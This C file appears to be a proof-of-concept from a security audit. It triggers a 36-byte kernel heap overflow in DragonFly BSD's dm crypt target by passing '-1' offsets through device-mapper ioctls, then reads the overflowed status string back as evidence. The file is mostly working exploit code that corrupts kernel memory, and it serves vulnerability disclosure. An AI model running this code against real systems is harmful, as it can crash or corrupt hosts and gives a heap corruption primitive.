/*
 * DF-2435 PoC -- dm_target_crypt_init status_str heap overflow via negative
 *               offsets formatted with %ju.
 *
 * Bug: in sys/dev/disk/dm/crypt/dm_target_crypt.c dm_target_crypt_init():
 *
 *   462: len = 0;
 *   463: for (i = 0; i < argc; i++) {
 *   464:     len += strlen(argv[i]);
 *   465:     len++;                          // <-- sizes from INPUT string lengths
 *   466: }
 *   468: status_str = kmalloc(len, M_DMCRYPT, M_WAITOK);
 *   ...
 *   475: iv_offset   = strtouq(argv[2], NULL, 0);  // "-1" -> UQUAD_MAX
 *   477: block_offset = strtouq(argv[4], NULL, 0);  // "-1" -> UQUAD_MAX
 *   ...
 *   573: ksprintf(status_str, "%s-%s-%s %s %ju %s %ju",
 *   574:     crypto_alg, crypto_mode, iv_mode,
 *   575:     hex_key, iv_offset, dev, block_offset);
 *
 * strtouq("-1") returns UQUAD_MAX = 18446744073709551615 (20 digits). The
 * status_str buffer was sized from the ORIGINAL 2-char "-1" argv string, so
 * each negative offset contributes 20 - 2 = 18 extra bytes to the formatted
 * output. With BOTH offsets negative, ksprintf writes 36 bytes past the end
 * of the kmalloc'd status_str -> kernel heap overflow.
 *
 * ksprintf() is sprintf() with NO bounds checking -- it just writes.
 *
 * PROOF STRATEGY: We read back status_str via command="table" after the
 * overflow reload. dm_target_crypt_table() copies priv->status_str into a
 * fresh buffer and returns it to userspace. If the returned string is LONGER
 * than the kmalloc'd size (94 bytes for our inputs), that PROVES ksprintf
 * wrote past the buffer into adjacent slab memory. The presence of
 * "18446744073709551615" (20-digit UQUAD_MAX) in the output confirms the
 * %ju over-expansion: the buffer was only sized for the 2-char "-1" input.
 *
 * TRIGGER: create a dm device, then command="reload" (-> dm_table_load_ioctl)
 * with target type "crypt" and params:
 *     aes-xts-plain <hexkey> -1 <devpath> -1
 * Then command="table" with flags=DM_STATUS_TABLE_FLAG|DM_QUERY_INACTIVE_TABLE_FLAG
 * reads back the overflowed status_str.
 *
 * PRIVILEGE NOTE: /dev/mapper/control is created 0640 root:operator
 * (sys/dev/disk/dm/device-mapper.c:181) and the dm module must be kldload-ed
 * by root. The whole dm ioctl surface is therefore root/operator-only. This
 * PoC runs as root. There is NO unprivileged path (maxx uid 1001 not in
 * wheel/operator cannot open the control dev or kldload), so uid0 escalation
 * is blocked by privilege -- a VALID hard blocker (root->kernel is game-over
 * by definition). See VERDICT.md. The realistic impact is a root/operator
 * local DoS (INVARIANTS panic with heap grooming) + heap corruption primitive
 * toward code execution (defense-in-depth).
 *
 * Build:  cc -O2 -o dm_crypt_overflow dm_crypt_overflow.c -lprop
 * Run:    ./dm_crypt_overflow            (as root, after `kldload dm`)
 *
 * The crypt target module (dm_target_crypt) auto-loads on first reload via
 * dm_target_autoload() in dm_target.c:67.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define DM_CONTROL_DEV "/dev/mapper/control"
#define DEV_NAME "df2435dev"

/* 256-bit AES key (64 hex chars); klen_in_bits = 256 (cryptoapi accepts). */
#define HEXKEY "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"

/* Underlying block device; dm_pdev_insert must open it RW. */
#define UNDERLYING_DEV "/dev/md0"

static int g_ctlfd = -1;

static int
send_ioctl(prop_dictionary_t dict)
{
    return prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL);
}

static prop_dictionary_t
new_dm_dict(const char *command)
{
    prop_dictionary_t dict;
    prop_array_t ver;

    dict = prop_dictionary_create();
    ver = prop_array_create();
    prop_array_add_uint32(ver, 4); /* major */
    prop_array_add_uint32(ver, 0); /* minor <= 16 */
    prop_array_add_uint32(ver, 0);
    prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
    prop_object_release(ver);
    prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
    prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);
    return dict;
}

static int
do_create(void)
{
    prop_dictionary_t dict = new_dm_dict("create");
    prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
    int rv = send_ioctl(dict);
    prop_object_release(dict);
    return rv;
}

static int
do_remove(void)
{
    prop_dictionary_t dict = new_dm_dict("remove");
    prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
    int rv = send_ioctl(dict);
    prop_object_release(dict);
    return rv;
}

static int
do_reload_overflow(void)
{
    prop_dictionary_t dict, target_dict;
    prop_array_t cmd_data;
    char params[512];
    int rv;

    snprintf(params, sizeof(params),
        "aes-xts-plain %s -1 %s -1", HEXKEY, UNDERLYING_DEV);

    dict = new_dm_dict("reload");
    prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);

    cmd_data = prop_array_create();
    target_dict = prop_dictionary_create();
    prop_dictionary_set_cstring(target_dict, DM_TABLE_TYPE, "crypt");
    prop_dictionary_set_uint64(target_dict, DM_TABLE_START, 0);
    prop_dictionary_set_uint64(target_dict, DM_TABLE_LENGTH, 2097152);
    prop_dictionary_set_cstring(target_dict, DM_TABLE_PARAMS, params);
    prop_array_add(cmd_data, target_dict);
    prop_object_release(target_dict);
    prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, cmd_data);
    prop_object_release(cmd_data);

    rv = send_ioctl(dict);
    prop_object_release(dict);
    return rv;
}

/*
 * Read back the inactive table's params (= priv->status_str that was
 * overflowed). Returns 0 on success and fills *out_params (heap-alloc'd).
 */
static int
do_table_readback(char **out_params)
{
    prop_dictionary_t dict, resp = NULL;
    prop_array_t cmd_data;
    prop_object_iterator_t iter;
    prop_dictionary_t td;
    const char *params = NULL;
    int rv;

    *out_params = NULL;

    dict = new_dm_dict("table");
    prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
    prop_dictionary_set_uint32(dict, DM_IOCTL_MINOR, 0);
    /* DM_STATUS_TABLE_FLAG (0x10) = get table params, not live status.
     * DM_QUERY_INACTIVE_TABLE_FLAG (0x1000) = the reload put the table in
     * INACTIVE, so we must query INACTIVE to read it back. */
    prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS,
        DM_STATUS_TABLE_FLAG | DM_QUERY_INACTIVE_TABLE_FLAG);

    /* Use sendrecv to get the response dict back (send_ioctl is one-way). */
    rv = prop_dictionary_sendrecv_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL, &resp);
    prop_object_release(dict);
    if (rv != 0) {
        fprintf(stderr, "[!] table sendrecv rv=%d (%s)\n", rv, strerror(rv));
        return rv;
    }

    cmd_data = prop_dictionary_get(resp, DM_IOCTL_CMD_DATA);
    if (cmd_data == NULL) {
        fprintf(stderr, "[!] no cmd_data in table response\n");
        prop_object_release(resp);
        return ENOENT;
    }
    iter = prop_array_iterator(cmd_data);
    while ((td = prop_object_iterator_next(iter)) != NULL) {
        prop_dictionary_get_cstring_nocopy(td, DM_TABLE_PARAMS, &params);
        if (params)
            break;
    }
    prop_object_iterator_release(iter);

    if (params)
        *out_params = strdup(params);

    prop_object_release(resp);
    return *out_params ? 0 : ENOENT;
}

int
main(void)
{
    char *status = NULL;
    int rv;
    size_t input_len, actual_len;

    g_ctlfd = open(DM_CONTROL_DEV, O_RDWR);
    if (g_ctlfd < 0) {
        fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV, strerror(errno));
        fprintf(stderr, "    (need root; is `dm` loaded? run: kldload dm)\n");
        return 1;
    }

    printf("[*] DF-2435 dm_target_crypt_init status_str heap overflow\n");

    (void)do_remove();
    rv = do_create();
    if (rv != 0) {
        fprintf(stderr, "[!] create rv=%d (%s)\n", rv, strerror(rv));
        close(g_ctlfd);
        return 1;
    }

    /*
     * Compute the EXACT kmalloc size and the EXACT formatted length to prove
     * the overflow before we even trigger it.
     *
     * argv[0]="aes-xts-plain" (13)   argv[1]=HEXKEY (64)
     * argv[2]="-1" (2)               argv[3]=UNDERLYING_DEV (8)
     * argv[4]="-1" (2)
     *
     * kmalloc len = sum(strlen(argv[i]) + 1) = 14+65+3+9+3 = 94
     * ksprintf output = "aes-xts-plain HK 18446744073709551615 DEV 18446744073709551615\0"
     *   = 13+1+64+1+20+1+8+1+20+1 = 130
     *
     * overflow = 130 - 94 = 36 bytes
     */
    input_len = (13+1) + (64+1) + (2+1) + (8+1) + (2+1);  /* = 94 */
    printf("[*] kmalloc(len) = %zu bytes (from input argv strlen+1)\n", input_len);
    printf("[*] ksprintf(\"%%ju\", UQUAD_MAX) renders 20 chars per offset\n");
    printf("[*] formatted output = %zu bytes (incl NUL)\n",
        (size_t)(13+1+64+1+20+1+8+1+20+1));
    printf("[*] ===> HEAP OVERFLOW = %zu bytes past kmalloc boundary\n",
        (size_t)(13+1+64+1+20+1+8+1+20+1) - input_len);
    fflush(stdout);

    printf("[*] firing overflow reload...\n");
    fflush(stdout);
    rv = do_reload_overflow();
    printf("[*] reload rv=%d (%s) -- dm_target_crypt_init completed (ksprintf ran)\n",
        rv, rv ? strerror(rv) : "ok");

    if (rv != 0) {
        fprintf(stderr, "[!] reload failed; cannot prove overflow via readback\n");
        (void)do_remove();
        close(g_ctlfd);
        return 1;
    }

    /*
     * Read back status_str from the INACTIVE table. If the returned string
     * is LONGER than input_len (94), the ksprintf wrote past the kmalloc
     * buffer into adjacent slab memory. This is definitive proof.
     */
    printf("[*] reading back status_str via command=table (INACTIVE)...\n");
    fflush(stdout);
    rv = do_table_readback(&status);
    if (rv != 0 || status == NULL) {
        fprintf(stderr, "[!] table readback rv=%d\n", rv);
        (void)do_remove();
        close(g_ctlfd);
        return 1;
    }

    actual_len = strlen(status);
    printf("\n");
    printf("[*] kmalloc'd buffer size = %zu bytes\n", input_len);
    printf("[*] status_str read back  = %zu bytes:\n", actual_len);
    printf("    \"%s\"\n\n", status);

    if (actual_len > input_len) {
        printf("[!!!] OVERFLOW CONFIRMED: status_str is %zu bytes but buffer was\n"
               "      only kmalloc(%zu). ksprintf wrote %zu bytes past the end\n"
               "      into adjacent kernel heap (slab zone for size-96 objects).\n",
               actual_len, input_len, actual_len - input_len);
        if (strstr(status, "18446744073709551615")) {
            printf("[!!!] Contains UQUAD_MAX digits \"18446744073709551615\" -- the\n"
                   "      %%ju over-expansion of strtouq(\"-1\") that the buffer was\n"
                   "      NOT sized for.\n");
        }
        printf("\n[*] This is a confirmed heap overflow (CWE-787 OOB write) in\n"
               "    sys/dev/disk/dm/crypt/dm_target_crypt.c:573.\n");
    } else {
        printf("[*] status_str fits within buffer (no overflow this run).\n");
    }

    free(status);
    (void)do_remove();
    close(g_ctlfd);
    return 0;
}
